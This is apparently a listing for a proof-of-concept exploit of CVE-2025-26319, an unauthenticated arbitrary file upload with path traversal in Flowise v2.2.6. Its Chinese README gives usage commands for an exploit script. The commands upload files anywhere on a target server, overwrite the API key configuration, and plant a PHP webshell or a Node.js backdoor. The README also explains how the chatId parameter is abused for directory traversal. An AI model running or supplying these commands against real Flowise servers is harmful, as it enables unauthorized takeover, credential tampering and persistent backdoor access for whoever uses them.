CVE-2025-26319 PoC — Flowise 代码问题漏洞

Source

https://github.com/YuoLuo/CVE-2025-26319

Associated Vulnerability

Title: Flowise 代码问题漏洞 (CVE-2025-26319)
Description:FlowiseAI Flowise v2.2.6 was discovered to contain an arbitrary file upload vulnerability in /api/v1/attachments.

Readme

# CVE-2025-26319
1. 基本文件上传
python flowise_exploit.py -u http://target:3000 -f local_file.txt -d /path/on/server/file.txt
2. 上传配置文件
# 修改API密钥配置
python flowise_exploit.py -u http://target:3000 -f new_api.json -d /root/.flowise/api.json
3. 自动生成并上传Webshell
# 上传PHP Webshell
python flowise_exploit.py -u http://target:3000 --generate-webshell php --webshell-path /var/www/html/shell.php

# 上传Node.js后门
python flowise_exploit.py -u http://target:3000 --generate-webshell nodejs --webshell-path /tmp/backdoor.js

攻击原理
利用/api/v1/attachments路由在白名单内，不需要身份验证
通过操纵chatId参数进行路径遍历（../../../）
上传任意文件到服务器文件系统的任意位置

File Snapshot

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